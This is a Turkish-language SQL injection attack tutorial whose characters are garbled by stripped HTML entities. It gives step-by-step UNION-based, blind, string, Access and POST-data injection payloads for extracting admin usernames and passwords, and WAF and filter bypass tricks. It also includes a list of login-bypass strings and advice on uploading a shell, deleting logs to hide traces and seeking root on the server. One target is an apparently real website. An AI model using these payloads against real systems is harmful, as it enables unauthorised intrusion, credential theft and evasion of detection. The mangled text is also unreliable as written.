Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım
SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım
Oumlrnek bir SQL İnjection hatası
Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz
b-) Search Kutularında SQL İnject Accedilığı Aramak
Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız
Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz
c-) Kayıt Formlarında SQL İnject Accedilığı Aramak
Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz
Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız
d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak
Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım
Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş
Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu
e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak
Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)
Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz
ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız
7-Saldırı Anı(SQL Accedilığının Tespiti)
Bir Web Sayfası duumlşuumlnuumln
wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen
wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit
8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)
Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım
Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler
Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim
wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml
wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana
Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz
wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi
wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş
Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz
9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)
Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım
Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım
wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz
-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass
Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen
wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit
wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz
wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur
Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden
10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)
Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz
Oumlnce Group_Concat Fonksiyonunu tanıyalım
Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım
wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--
Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik
table_name = Tablo isimleri
information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri
information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir
information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim
Ekrana yansıyan tablo isimlerine bir bakalım
adminresimleradreslerhizmetler vs vs olsun
bize burada lazım olacak tabloyu seccediliyoruz admin
Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız
Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri
Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--
Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz
Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)
Hexlenecek isim database()
Hexlenmiş Hali 64617461626173652829
Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--
Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz
11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)
Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi
Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz
Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Hexlenecek ad admin
Hexlenmiş hali 61646d696e
Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz
Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--
Sorguyu goumlnderdik
Username admin
Password bugres
Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur
UsernamePassword Char Code Ccedilevrilmiş Hali
StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)
Char Code halini group_concat() fonksiyonunun arasına yazıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--
Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz
12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)
Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
